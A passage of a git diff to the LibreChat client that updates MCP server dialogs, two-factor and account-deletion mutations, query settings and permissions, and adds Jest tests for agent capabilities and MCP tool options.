mockUseFileHandlingNoChatContext.mock.calls[0][0]; + expect(params.endpointOverride).toBe(EModelEndpoint.agents); + expect(params.endpointTypeOverride).toBe(EModelEndpoint.agents); + }); + + it('renders when provider has no specific config and agents config is enabled', () => { + mockFileConfig = mergeFileConfig({ + endpoints: { + [EModelEndpoint.agents]: { fileLimit: 20 }, + default: { fileLimit: 10 }, + }, + }); + render( + + + , + ); + expect(screen.getByText('com_assistants_file_search')).toBeInTheDocument(); + }); +}); diff --git a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/MCPServerForm.tsx b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/MCPServerForm.tsx index 188c518597..d4096ea96a 100644 --- a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/MCPServerForm.tsx +++ b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/MCPServerForm.tsx @@ -1,10 +1,10 @@ import { FormProvider } from 'react-hook-form'; +import type { useMCPServerForm } from './hooks/useMCPServerForm'; import ConnectionSection from './sections/ConnectionSection'; import BasicInfoSection from './sections/BasicInfoSection'; import TransportSection from './sections/TransportSection'; -import AuthSection from './sections/AuthSection'; import TrustSection from './sections/TrustSection'; -import type { useMCPServerForm } from './hooks/useMCPServerForm'; +import AuthSection from './sections/AuthSection'; interface MCPServerFormProps { formHook: ReturnType; diff --git a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/index.tsx b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/index.tsx index f86d3f8056..c9d3473d60 100644 --- a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/index.tsx +++ b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/index.tsx @@ -1,13 +1,18 @@ import React, { useState, useEffect } from 'react'; +import { Copy, CopyCheck } from 'lucide-react'; import { - OGDialog, - OGDialogTemplate, - OGDialogContent, - OGDialogHeader, - OGDialogTitle, + Label, + Input, Button, - TrashIcon, Spinner, + TrashIcon, + useToastContext, + OGDialog, + OGDialogTitle, + OGDialogHeader, + OGDialogFooter, + OGDialogContent, + OGDialogTemplate, } from '@librechat/client'; import { SystemRoles, @@ -16,10 +21,10 @@ import { PermissionBits, PermissionTypes, } from 'librechat-data-provider'; -import { GenericGrantAccessDialog } from '~/components/Sharing'; import { useAuthContext, useHasAccess, useResourcePermissions, MCPServerDefinition } from '~/hooks'; -import { useLocalize } from '~/hooks'; +import { GenericGrantAccessDialog } from '~/components/Sharing'; import { useMCPServerForm } from './hooks/useMCPServerForm'; +import { useLocalize, useCopyToClipboard } from '~/hooks'; import MCPServerForm from './MCPServerForm'; interface MCPServerDialogProps { @@ -39,8 +44,10 @@ export default function MCPServerDialog({ }: MCPServerDialogProps) { const localize = useLocalize(); const { user } = useAuthContext(); + const { showToast } = useToastContext(); // State for dialogs + const [isCopying, setIsCopying] = useState(false); const [showDeleteConfirm, setShowDeleteConfirm] = useState(false); const [showRedirectUriDialog, setShowRedirectUriDialog] = useState(false); const [createdServerId, setCreatedServerId] = useState(null); @@ -99,20 +106,26 @@ export default function MCPServerDialog({ ? `${window.location.origin}/api/mcp/${createdServerId}/oauth/callback` : ''; + const copyLink = useCopyToClipboard({ text: redirectUri }); + return ( <> {/* Delete confirmation dialog */} setShowDeleteConfirm(isOpen)}> {localize('com_ui_mcp_server_delete_confirm')}

} - selection={{ - selectHandler: handleDelete, - selectClasses: - 'bg-destructive text-white transition-all duration-200 hover:bg-destructive/80', - selectText: isDeleting ? : localize('com_ui_delete'), - }} + title={localize('com_ui_delete_mcp_server')} + className="w-11/12 max-w-md" + description={localize('com_ui_mcp_server_delete_confirm', { 0: server?.serverName })} + selection={ + + } />
@@ -127,48 +140,53 @@ export default function MCPServerDialog({ } }} > - - + + {localize('com_ui_mcp_server_created')} -
-

- {localize('com_ui_redirect_uri_instructions')} -

-
-
diff --git a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/ConnectionSection.tsx b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/ConnectionSection.tsx index 5d7094fd83..ee77a54699 100644 --- a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/ConnectionSection.tsx +++ b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/ConnectionSection.tsx @@ -15,13 +15,19 @@ export default function ConnectionSection() { return (
{ @@ -29,9 +35,13 @@ export default function ConnectionSection() { return isValidUrl(normalized) || localize('com_ui_mcp_invalid_url'); }, })} - className={cn(errors.url && 'border-red-500 focus:border-red-500')} + className={cn(errors.url && 'border-border-destructive')} /> - {errors.url &&

{errors.url.message}

} + {errors.url && ( + + )}
); } diff --git a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/TransportSection.tsx b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/TransportSection.tsx index 80d4595719..5c7b610b70 100644 --- a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/TransportSection.tsx +++ b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/TransportSection.tsx @@ -25,14 +25,19 @@ export default function TransportSection() { ); return ( -
- +
+ + + -
+ ); } diff --git a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/TrustSection.tsx b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/TrustSection.tsx index 854ac717b7..36d8d73a49 100644 --- a/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/TrustSection.tsx +++ b/client/src/components/SidePanel/MCPBuilder/MCPServerDialog/sections/TrustSection.tsx @@ -26,17 +26,17 @@ export default function TrustSection() { checked={field.value} onCheckedChange={field.onChange} aria-labelledby="trust-label" - aria-describedby="trust-description" + aria-describedby={ + errors.trust ? 'trust-description trust-error' : 'trust-description' + } + aria-invalid={errors.trust ? 'true' : 'false'} + aria-required="true" className="mt-0.5" /> )} /> -
{errors.trust && ( -

{localize('com_ui_field_required')}

+ )}
); diff --git a/client/src/components/Tools/MCPToolSelectDialog.tsx b/client/src/components/Tools/MCPToolSelectDialog.tsx index 487f767250..a27484d4e8 100644 --- a/client/src/components/Tools/MCPToolSelectDialog.tsx +++ b/client/src/components/Tools/MCPToolSelectDialog.tsx @@ -96,17 +96,17 @@ function MCPToolSelectDialog({ await new Promise((resolve) => setTimeout(resolve, 500)); } - // Then initialize server if needed + // Only initialize if no cached tools exist; skip if tools are already available from DB const serverInfo = mcpServersMap.get(serverName); - if (!serverInfo?.isConnected) { + if (!serverInfo?.tools?.length) { const result = await initializeServer(serverName); - if (result?.success && result.oauthRequired && result.oauthUrl) { + if (result?.oauthRequired && result.oauthUrl) { setIsInitializing(null); - return; + return; // OAuth flow must complete first } } - // Finally, add tools to form + // Add tools to form (refetches from backend's persisted cache) await addToolsToForm(serverName); setIsInitializing(null); } catch (error) { diff --git a/client/src/components/Web/__tests__/SourcesErrorBoundary.test.tsx b/client/src/components/Web/__tests__/SourcesErrorBoundary.test.tsx index cc668cb61a..2cf509cd2c 100644 --- a/client/src/components/Web/__tests__/SourcesErrorBoundary.test.tsx +++ b/client/src/components/Web/__tests__/SourcesErrorBoundary.test.tsx @@ -1,3 +1,6 @@ +/** + * @jest-environment @happy-dom/jest-environment + */ import React from 'react'; import { render, screen, fireEvent } from '@testing-library/react'; import '@testing-library/jest-dom'; @@ -11,15 +14,6 @@ const ThrowError = ({ shouldThrow }: { shouldThrow: boolean }) => { return
{'Normal component'}
; }; -// Mock window.location.reload -const mockReload = jest.fn(); -Object.defineProperty(window, 'location', { - value: { - reload: mockReload, - }, - writable: true, -}); - describe('SourcesErrorBoundary - NEW COMPONENT test', () => { beforeEach(() => { jest.clearAllMocks(); @@ -53,6 +47,8 @@ describe('SourcesErrorBoundary - NEW COMPONENT test', () => { }); it('should reload page when refresh button is clicked', () => { + const reloadSpy = jest.spyOn(window.location, 'reload').mockImplementation(() => {}); + render( @@ -62,6 +58,6 @@ describe('SourcesErrorBoundary - NEW COMPONENT test', () => { const refreshButton = screen.getByRole('button', { name: 'Reload the page' }); fireEvent.click(refreshButton); - expect(mockReload).toHaveBeenCalled(); + expect(reloadSpy).toHaveBeenCalled(); }); }); diff --git a/client/src/data-provider/Auth/mutations.ts b/client/src/data-provider/Auth/mutations.ts index 298ddd9b64..9930e42b4f 100644 --- a/client/src/data-provider/Auth/mutations.ts +++ b/client/src/data-provider/Auth/mutations.ts @@ -68,14 +68,14 @@ export const useRefreshTokenMutation = ( /* User */ export const useDeleteUserMutation = ( - options?: t.MutationOptions, -): UseMutationResult => { + options?: t.MutationOptions, +): UseMutationResult => { const queryClient = useQueryClient(); const clearStates = useClearStates(); const resetDefaultPreset = useResetRecoilState(store.defaultPreset); return useMutation([MutationKeys.deleteUser], { - mutationFn: () => dataService.deleteUser(), + mutationFn: (payload?: t.TDeleteUserRequest) => dataService.deleteUser(payload), ...(options || {}), onSuccess: (...args) => { resetDefaultPreset(); @@ -90,11 +90,11 @@ export const useDeleteUserMutation = ( export const useEnableTwoFactorMutation = (): UseMutationResult< t.TEnable2FAResponse, unknown, - void, + t.TEnable2FARequest | undefined, unknown > => { const queryClient = useQueryClient(); - return useMutation(() => dataService.enableTwoFactor(), { + return useMutation((payload?: t.TEnable2FARequest) => dataService.enableTwoFactor(payload), { onSuccess: (data) => { queryClient.setQueryData([QueryKeys.user, '2fa'], data); }, @@ -146,15 +146,18 @@ export const useDisableTwoFactorMutation = (): UseMutationResult< export const useRegenerateBackupCodesMutation = (): UseMutationResult< t.TRegenerateBackupCodesResponse, unknown, - void, + t.TRegenerateBackupCodesRequest | undefined, unknown > => { const queryClient = useQueryClient(); - return useMutation(() => dataService.regenerateBackupCodes(), { - onSuccess: (data) => { - queryClient.setQueryData([QueryKeys.user, '2fa', 'backup'], data); + return useMutation( + (payload?: t.TRegenerateBackupCodesRequest) => dataService.regenerateBackupCodes(payload), + { + onSuccess: (data) => { + queryClient.setQueryData([QueryKeys.user, '2fa', 'backup'], data); + }, }, - }); + ); }; export const useVerifyTwoFactorTempMutation = ( diff --git a/client/src/data-provider/MCP/queries.ts b/client/src/data-provider/MCP/queries.ts index afc17f3a93..8590e43735 100644 --- a/client/src/data-provider/MCP/queries.ts +++ b/client/src/data-provider/MCP/queries.ts @@ -12,10 +12,10 @@ export const useMCPServersQuery = ( [QueryKeys.mcpServers], () => dataService.getMCPServers(), { - staleTime: 1000 * 60 * 5, // 5 minutes - data stays fresh longer - refetchOnWindowFocus: false, + staleTime: 30 * 1000, // 30 seconds — short enough to pick up servers that finish initializing after first load + refetchOnWindowFocus: true, refetchOnReconnect: false, - refetchOnMount: false, + refetchOnMount: true, retry: false, ...config, }, diff --git a/client/src/data-provider/queries.ts b/client/src/data-provider/queries.ts index 8f2b702a3b..866e25a262 100644 --- a/client/src/data-provider/queries.ts +++ b/client/src/data-provider/queries.ts @@ -31,7 +31,7 @@ import type { SharedLinksResponse, } from 'librechat-data-provider'; import type { ConversationCursorData } from '~/utils/convos'; -import { findConversationInInfinite } from '~/utils'; +import { findConversationInInfinite, isNotFoundError } from '~/utils'; export const useGetPresetsQuery = ( config?: UseQueryOptions, @@ -71,6 +71,12 @@ export const useGetConvoIdQuery = ( refetchOnWindowFocus: false, refetchOnReconnect: false, refetchOnMount: false, + retry: (failureCount, error) => { + if (isNotFoundError(error)) { + return false; + } + return failureCount < 3; + }, ...config, }, ); diff --git a/client/src/data-provider/roles.ts b/client/src/data-provider/roles.ts index 46edcd2dc9..356d9bd145 100644 --- a/client/src/data-provider/roles.ts +++ b/client/src/data-provider/roles.ts @@ -4,14 +4,15 @@ import { dataService, promptPermissionsSchema, memoryPermissionsSchema, + mcpServersPermissionsSchema, marketplacePermissionsSchema, peoplePickerPermissionsSchema, - mcpServersPermissionsSchema, + remoteAgentsPermissionsSchema, } from 'librechat-data-provider'; import type { - UseQueryOptions, - UseMutationResult, QueryObserverResult, + UseMutationResult, + UseQueryOptions, } from '@tanstack/react-query'; import type * as t from 'librechat-data-provider'; @@ -243,3 +244,39 @@ export const useUpdateMarketplacePermissionsMutation = ( }, ); }; + +export const useUpdateRemoteAgentsPermissionsMutation = ( + options?: t.UpdateRemoteAgentsPermOptions, +): UseMutationResult< + t.UpdatePermResponse, + t.TError | undefined, + t.UpdateRemoteAgentsPermVars, + unknown +> => { + const queryClient = useQueryClient(); + const { onMutate, onSuccess, onError } = options ?? {}; + return useMutation( + (variables) => { + remoteAgentsPermissionsSchema.partial().parse(variables.updates); + return dataService.updateRemoteAgentsPermissions(variables); + }, + { + onSuccess: (data, variables, context) => { + queryClient.invalidateQueries([QueryKeys.roles, variables.roleName]); + if (onSuccess) { + onSuccess(data, variables, context); + } + }, + onError: (...args) => { + const error = args[0]; + if (error != null) { + console.error('Failed to update remote agents permissions:', error); + } + if (onError) { + onError(...args); + } + }, + onMutate, + }, + ); +}; diff --git a/client/src/hooks/Agents/__tests__/useAgentCapabilities.spec.ts b/client/src/hooks/Agents/__tests__/useAgentCapabilities.spec.ts new file mode 100644 index 0000000000..f6ff8dcbab --- /dev/null +++ b/client/src/hooks/Agents/__tests__/useAgentCapabilities.spec.ts @@ -0,0 +1,112 @@ +import { renderHook } from '@testing-library/react'; +import { AgentCapabilities } from 'librechat-data-provider'; +import useAgentCapabilities from '../useAgentCapabilities'; + +describe('useAgentCapabilities', () => { + it('should return all capabilities as false when capabilities is undefined', () => { + const { result } = renderHook(() => useAgentCapabilities(undefined)); + + expect(result.current.toolsEnabled).toBe(false); + expect(result.current.actionsEnabled).toBe(false); + expect(result.current.artifactsEnabled).toBe(false); + expect(result.current.ocrEnabled).toBe(false); + expect(result.current.contextEnabled).toBe(false); + expect(result.current.fileSearchEnabled).toBe(false); + expect(result.current.webSearchEnabled).toBe(false); + expect(result.current.codeEnabled).toBe(false); + expect(result.current.deferredToolsEnabled).toBe(false); + expect(result.current.programmaticToolsEnabled).toBe(false); + }); + + it('should return all capabilities as false when capabilities is empty array', () => { + const { result } = renderHook(() => useAgentCapabilities([])); + + expect(result.current.toolsEnabled).toBe(false); + expect(result.current.deferredToolsEnabled).toBe(false); + expect(result.current.programmaticToolsEnabled).toBe(false); + }); + + it('should return true for enabled capabilities', () => { + const capabilities = [ + AgentCapabilities.tools, + AgentCapabilities.deferred_tools, + AgentCapabilities.file_search, + ]; + + const { result } = renderHook(() => useAgentCapabilities(capabilities)); + + expect(result.current.toolsEnabled).toBe(true); + expect(result.current.deferredToolsEnabled).toBe(true); + expect(result.current.fileSearchEnabled).toBe(true); + expect(result.current.actionsEnabled).toBe(false); + expect(result.current.webSearchEnabled).toBe(false); + }); + + it('should return deferredToolsEnabled as true when deferred_tools is in capabilities', () => { + const capabilities = [AgentCapabilities.deferred_tools]; + + const { result } = renderHook(() => useAgentCapabilities(capabilities)); + + expect(result.current.deferredToolsEnabled).toBe(true); + }); + + it('should return deferredToolsEnabled as false when deferred_tools is not in capabilities', () => { + const capabilities = [ + AgentCapabilities.tools, + AgentCapabilities.actions, + AgentCapabilities.artifacts, + ]; + + const { result } = renderHook(() => useAgentCapabilities(capabilities)); + + expect(result.current.deferredToolsEnabled).toBe(false); + }); + + it('should return programmaticToolsEnabled as true when programmatic_tools is in capabilities', () => { + const capabilities = [AgentCapabilities.programmatic_tools]; + + const { result } = renderHook(() => useAgentCapabilities(capabilities)); + + expect(result.current.programmaticToolsEnabled).toBe(true); + }); + + it('should return programmaticToolsEnabled as false when programmatic_tools is not in capabilities', () => { + const capabilities = [ + AgentCapabilities.tools, + AgentCapabilities.actions, + AgentCapabilities.artifacts, + ]; + + const { result } = renderHook(() => useAgentCapabilities(capabilities)); + + expect(result.current.programmaticToolsEnabled).toBe(false); + }); + + it('should handle all capabilities being enabled', () => { + const capabilities = [ + AgentCapabilities.tools, + AgentCapabilities.actions, + AgentCapabilities.artifacts, + AgentCapabilities.ocr, + AgentCapabilities.context, + AgentCapabilities.file_search, + AgentCapabilities.web_search, + AgentCapabilities.execute_code, + AgentCapabilities.deferred_tools, + AgentCapabilities.programmatic_tools, + ]; + + const { result } = renderHook(() => useAgentCapabilities(capabilities)); + + expect(result.current.toolsEnabled).toBe(true); + expect(result.current.actionsEnabled).toBe(true); + expect(result.current.artifactsEnabled).toBe(true); + expect(result.current.ocrEnabled).toBe(true); + expect(result.current.contextEnabled).toBe(true); + expect(result.current.fileSearchEnabled).toBe(true); + expect(result.current.webSearchEnabled).toBe(true); + expect(result.current.codeEnabled).toBe(true); + expect(result.current.deferredToolsEnabled).toBe(true); + expect(result.current.programmaticToolsEnabled).toBe(true); + }); +}); diff --git a/client/src/hooks/Agents/__tests__/useMCPToolOptions.spec.ts b/client/src/hooks/Agents/__tests__/useMCPToolOptions.spec.ts new file mode 100644 index 0000000000..caba94016f --- /dev/null +++ b/client/src/hooks/Agents/__tests__/useMCPToolOptions.spec.ts @@ -0,0 +1,656 @@ +import { renderHook, act } from '@testing-library/react'; +import { useFormContext, useWatch } from 'react-hook-form'; +import type { AgentToolType } from 'librechat-data-provider'; +import useMCPToolOptions from '../useMCPToolOptions'; + +jest.mock('react-hook-form', () => ({ + useFormContext: jest.fn(), + useWatch: jest.fn(), +})); + +const mockSetValue = jest.fn(); +const mockGetValues = jest.fn(); + +const createMockTool = (toolId: string): AgentToolType => ({ + tool_id: toolId, + metadata: { name: toolId, description: `Description for ${toolId}` }, +}); + +describe('useMCPToolOptions', () => { + beforeEach(() => { + jest.clearAllMocks(); + (useFormContext as jest.Mock).mockReturnValue({ + getValues: mockGetValues, + setValue: mockSetValue, + control: {}, + }); + (useWatch as jest.Mock).mockReturnValue(undefined); + mockGetValues.mockReturnValue({}); + }); + + describe('isToolDeferred', () => { + it('should return false when tool_options is undefined', () => { + (useWatch as jest.Mock).mockReturnValue(undefined); + + const { result } = renderHook(() => useMCPToolOptions()); + + expect(result.current.isToolDeferred('tool1')).toBe(false); + }); + + it('should return false when tool has no options', () => { + (useWatch as jest.Mock).mockReturnValue({}); + + const { result } = renderHook(() => useMCPToolOptions()); + + expect(result.current.isToolDeferred('tool1')).toBe(false); + }); + + it('should return false when defer_loading is not set', () => { + (useWatch as jest.Mock).mockReturnValue({ + tool1: { allowed_callers: ['direct'] }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + + expect(result.current.isToolDeferred('tool1')).toBe(false); + }); + + it('should return true when defer_loading is true', () => { + (useWatch as jest.Mock).mockReturnValue({ + tool1: { defer_loading: true }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + + expect(result.current.isToolDeferred('tool1')).toBe(true); + }); + + it('should return false when defer_loading is false', () => { + (useWatch as jest.Mock).mockReturnValue({ + tool1: { defer_loading: false }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + + expect(result.current.isToolDeferred('tool1')).toBe(false); + }); + }); + + describe('isToolProgrammatic', () => { + it('should return false when tool_options is undefined', () => { + (useWatch as jest.Mock).mockReturnValue(undefined); + + const { result } = renderHook(() => useMCPToolOptions()); + + expect(result.current.isToolProgrammatic('tool1')).toBe(false); + }); + + it('should return false when tool has no options', () => { + (useWatch as jest.Mock).mockReturnValue({}); + + const { result } = renderHook(() => useMCPToolOptions()); + + expect(result.current.isToolProgrammatic('tool1')).toBe(false); + }); + + it('should return false when allowed_callers does not include code_execution', () => { + (useWatch as jest.Mock).mockReturnValue({ + tool1: { allowed_callers: ['direct'] }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + + expect(result.current.isToolProgrammatic('tool1')).toBe(false); + }); + + it('should return true when allowed_callers includes code_execution', () => { + (useWatch as jest.Mock).mockReturnValue({ + tool1: { allowed_callers: ['code_execution'] }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + + expect(result.current.isToolProgrammatic('tool1')).toBe(true); + }); + + it('should return true when allowed_callers includes both direct and code_execution', () => { + (useWatch as jest.Mock).mockReturnValue({ + tool1: { allowed_callers: ['direct', 'code_execution'] }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + + expect(result.current.isToolProgrammatic('tool1')).toBe(true); + }); + }); + + describe('toggleToolDefer', () => { + it('should enable defer_loading for a tool with no existing options', () => { + mockGetValues.mockReturnValue({}); + + const { result } = renderHook(() => useMCPToolOptions()); + + act(() => { + result.current.toggleToolDefer('tool1'); + }); + + expect(mockSetValue).toHaveBeenCalledWith( + 'tool_options', + { tool1: { defer_loading: true } }, + { shouldDirty: true }, + ); + }); + + it('should enable defer_loading while preserving other options', () => { + mockGetValues.mockReturnValue({ + tool1: { allowed_callers: ['code_execution'] }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + + act(() => { + result.current.toggleToolDefer('tool1'); + }); + + expect(mockSetValue).toHaveBeenCalledWith( + 'tool_options', + { tool1: { allowed_callers: ['code_execution'], defer_loading: true } }, + { shouldDirty: true }, + ); + }); + + it('should disable defer_loading and preserve other options', () => { + mockGetValues.mockReturnValue({ + tool1: { defer_loading: true, allowed_callers: ['code_execution'] }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + + act(() => { + result.current.toggleToolDefer('tool1'); + }); + + expect(mockSetValue).toHaveBeenCalledWith( + 'tool_options', + { tool1: { allowed_callers: ['code_execution'] } }, + { shouldDirty: true }, + ); + }); + + it('should remove tool entry entirely when disabling defer_loading and no other options exist', () => { + mockGetValues.mockReturnValue({ + tool1: { defer_loading: true }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + + act(() => { + result.current.toggleToolDefer('tool1'); + }); + + expect(mockSetValue).toHaveBeenCalledWith('tool_options', {}, { shouldDirty: true }); + }); + + it('should preserve other tools when toggling', () => { + mockGetValues.mockReturnValue({ + tool1: { defer_loading: true }, + tool2: { defer_loading: true }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + + act(() => { + result.current.toggleToolDefer('tool1'); + }); + + expect(mockSetValue).toHaveBeenCalledWith( + 'tool_options', + { tool2: { defer_loading: true } }, + { shouldDirty: true }, + ); + }); + }); + + describe('toggleToolProgrammatic', () => { + it('should enable programmatic calling for a tool with no existing options', () => { + mockGetValues.mockReturnValue({}); + + const { result } = renderHook(() => useMCPToolOptions()); + + act(() => { + result.current.toggleToolProgrammatic('tool1'); + }); + + expect(mockSetValue).toHaveBeenCalledWith( + 'tool_options', + { tool1: { allowed_callers: ['code_execution'] } }, + { shouldDirty: true }, + ); + }); + + it('should enable programmatic calling while preserving defer_loading', () => { + mockGetValues.mockReturnValue({ + tool1: { defer_loading: true }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + + act(() => { + result.current.toggleToolProgrammatic('tool1'); + }); + + expect(mockSetValue).toHaveBeenCalledWith( + 'tool_options', + { tool1: { defer_loading: true, allowed_callers: ['code_execution'] } }, + { shouldDirty: true }, + ); + }); + + it('should disable programmatic calling and preserve defer_loading', () => { + mockGetValues.mockReturnValue({ + tool1: { defer_loading: true, allowed_callers: ['code_execution'] }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + + act(() => { + result.current.toggleToolProgrammatic('tool1'); + }); + + expect(mockSetValue).toHaveBeenCalledWith( + 'tool_options', + { tool1: { defer_loading: true } }, + { shouldDirty: true }, + ); + }); + + it('should remove tool entry entirely when disabling programmatic and no other options exist', () => { + mockGetValues.mockReturnValue({ + tool1: { allowed_callers: ['code_execution'] }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + + act(() => { + result.current.toggleToolProgrammatic('tool1'); + }); + + expect(mockSetValue).toHaveBeenCalledWith('tool_options', {}, { shouldDirty: true }); + }); + + it('should preserve other tools when toggling', () => { + mockGetValues.mockReturnValue({ + tool1: { allowed_callers: ['code_execution'] }, + tool2: { defer_loading: true }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + + act(() => { + result.current.toggleToolProgrammatic('tool1'); + }); + + expect(mockSetValue).toHaveBeenCalledWith( + 'tool_options', + { tool2: { defer_loading: true } }, + { shouldDirty: true }, + ); + }); + }); + + describe('areAllToolsDeferred', () => { + it('should return false for empty tools array', () => { + (useWatch as jest.Mock).mockReturnValue({}); + + const { result } = renderHook(() => useMCPToolOptions()); + + expect(result.current.areAllToolsDeferred([])).toBe(false); + }); + + it('should return false when no tools are deferred', () => { + (useWatch as jest.Mock).mockReturnValue({}); + + const { result } = renderHook(() => useMCPToolOptions()); + const tools = [createMockTool('tool1'), createMockTool('tool2')]; + + expect(result.current.areAllToolsDeferred(tools)).toBe(false); + }); + + it('should return false when some tools are deferred', () => { + (useWatch as jest.Mock).mockReturnValue({ + tool1: { defer_loading: true }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + const tools = [createMockTool('tool1'), createMockTool('tool2')]; + + expect(result.current.areAllToolsDeferred(tools)).toBe(false); + }); + + it('should return true when all tools are deferred', () => { + (useWatch as jest.Mock).mockReturnValue({ + tool1: { defer_loading: true }, + tool2: { defer_loading: true }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + const tools = [createMockTool('tool1'), createMockTool('tool2')]; + + expect(result.current.areAllToolsDeferred(tools)).toBe(true); + }); + }); + + describe('areAllToolsProgrammatic', () => { + it('should return false for empty tools array', () => { + (useWatch as jest.Mock).mockReturnValue({}); + + const { result } = renderHook(() => useMCPToolOptions()); + + expect(result.current.areAllToolsProgrammatic([])).toBe(false); + }); + + it('should return false when no tools are programmatic', () => { + (useWatch as jest.Mock).mockReturnValue({}); + + const { result } = renderHook(() => useMCPToolOptions()); + const tools = [createMockTool('tool1'), createMockTool('tool2')]; + + expect(result.current.areAllToolsProgrammatic(tools)).toBe(false); + }); + + it('should return false when some tools are programmatic', () => { + (useWatch as jest.Mock).mockReturnValue({ + tool1: { allowed_callers: ['code_execution'] }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + const tools = [createMockTool('tool1'), createMockTool('tool2')]; + + expect(result.current.areAllToolsProgrammatic(tools)).toBe(false); + }); + + it('should return true when all tools are programmatic', () => { + (useWatch as jest.Mock).mockReturnValue({ + tool1: { allowed_callers: ['code_execution'] }, + tool2: { allowed_callers: ['code_execution'] }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + const tools = [createMockTool('tool1'), createMockTool('tool2')]; + + expect(result.current.areAllToolsProgrammatic(tools)).toBe(true); + }); + }); + + describe('toggleDeferAll', () => { + it('should do nothing for empty tools array', () => { + const { result } = renderHook(() => useMCPToolOptions()); + + act(() => { + result.current.toggleDeferAll([]); + }); + + expect(mockSetValue).not.toHaveBeenCalled(); + }); + + it('should defer all tools when none are deferred', () => { + (useWatch as jest.Mock).mockReturnValue({}); + mockGetValues.mockReturnValue({}); + + const { result } = renderHook(() => useMCPToolOptions()); + const tools = [createMockTool('tool1'), createMockTool('tool2')]; + + act(() => { + result.current.toggleDeferAll(tools); + }); + + expect(mockSetValue).toHaveBeenCalledWith( + 'tool_options', + { + tool1: { defer_loading: true }, + tool2: { defer_loading: true }, + }, + { shouldDirty: true }, + ); + }); + + it('should undefer all tools when all are deferred', () => { + (useWatch as jest.Mock).mockReturnValue({ + tool1: { defer_loading: true }, + tool2: { defer_loading: true }, + }); + mockGetValues.mockReturnValue({ + tool1: { defer_loading: true }, + tool2: { defer_loading: true }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + const tools = [createMockTool('tool1'), createMockTool('tool2')]; + + act(() => { + result.current.toggleDeferAll(tools); + }); + + expect(mockSetValue).toHaveBeenCalledWith('tool_options', {}, { shouldDirty: true }); + }); + + it('should defer all when some are deferred (brings to consistent state)', () => { + (useWatch as jest.Mock).mockReturnValue({ + tool1: { defer_loading: true }, + }); + mockGetValues.mockReturnValue({ + tool1: { defer_loading: true }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + const tools = [createMockTool('tool1'), createMockTool('tool2')]; + + act(() => { + result.current.toggleDeferAll(tools); + }); + + expect(mockSetValue).toHaveBeenCalledWith( + 'tool_options', + { + tool1: { defer_loading: true }, + tool2: { defer_loading: true }, + }, + { shouldDirty: true }, + ); + }); + + it('should preserve other options when deferring', () => { + (useWatch as jest.Mock).mockReturnValue({}); + mockGetValues.mockReturnValue({ + tool1: { allowed_callers: ['code_execution'] }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + const tools = [createMockTool('tool1'), createMockTool('tool2')]; + + act(() => { + result.current.toggleDeferAll(tools); + }); + + expect(mockSetValue).toHaveBeenCalledWith( + 'tool_options', + { + tool1: { allowed_callers: ['code_execution'], defer_loading: true }, + tool2: { defer_loading: true }, + }, + { shouldDirty: true }, + ); + }); + + it('should preserve other options when undeferring', () => { + (useWatch as jest.Mock).mockReturnValue({ + tool1: { defer_loading: true, allowed_callers: ['code_execution'] }, + tool2: { defer_loading: true }, + }); + mockGetValues.mockReturnValue({ + tool1: { defer_loading: true, allowed_callers: ['code_execution'] }, + tool2: { defer_loading: true }, + }); + + const { result } = renderHook(() => useMCPToolOptions()); + const tools = [createMockTool('tool1'), createMockTool('tool2')]; + + act(() => { + result.current.toggleDeferAll(tools); + }); + + expect(mockSetValue).toHaveBeenCalledWith( + 'tool_options', + { tool1: { allowed_callers: ['code_execution'] } }, + { shouldDirty: true }, + ); + }); + }); + + describe('toggleProgrammaticAll', () => { + it('should do nothing for empty tools array', () => { + const { result } = renderHook(() => useMCPToolOptions()); + + act(() => { + result.current.toggleProgrammaticAll([]); + }); + + expect(mockSetValue).not.toHaveBeenCalled(); + }); + + it('should make all tools programmatic when none are', () => { + (useWatch as jest.Mock).mockReturnValue({}); + mockGetValues.mockReturnValue({}); + + const { result } = renderHook(() => useMCPToolOptions()); + const tools = [createMockTool('tool1'), createMockTool('tool2')]; + + act(() => { + result.current.toggleProgrammaticAll(tools); + }); + + expect(mockSetValue).toHaveBeenCalledWith( + 'tool_options', + { + tool1: { allowed_callers: ['code_execution'] }, + tool2: { allowed_callers: ['code_execution'] }, + }, + { shouldDirty: true }, + ); + }); + + it('should remove programmatic from all tools when all are programmatic', () => { + (useWatch as jest.Mock).mockReturnValue({ 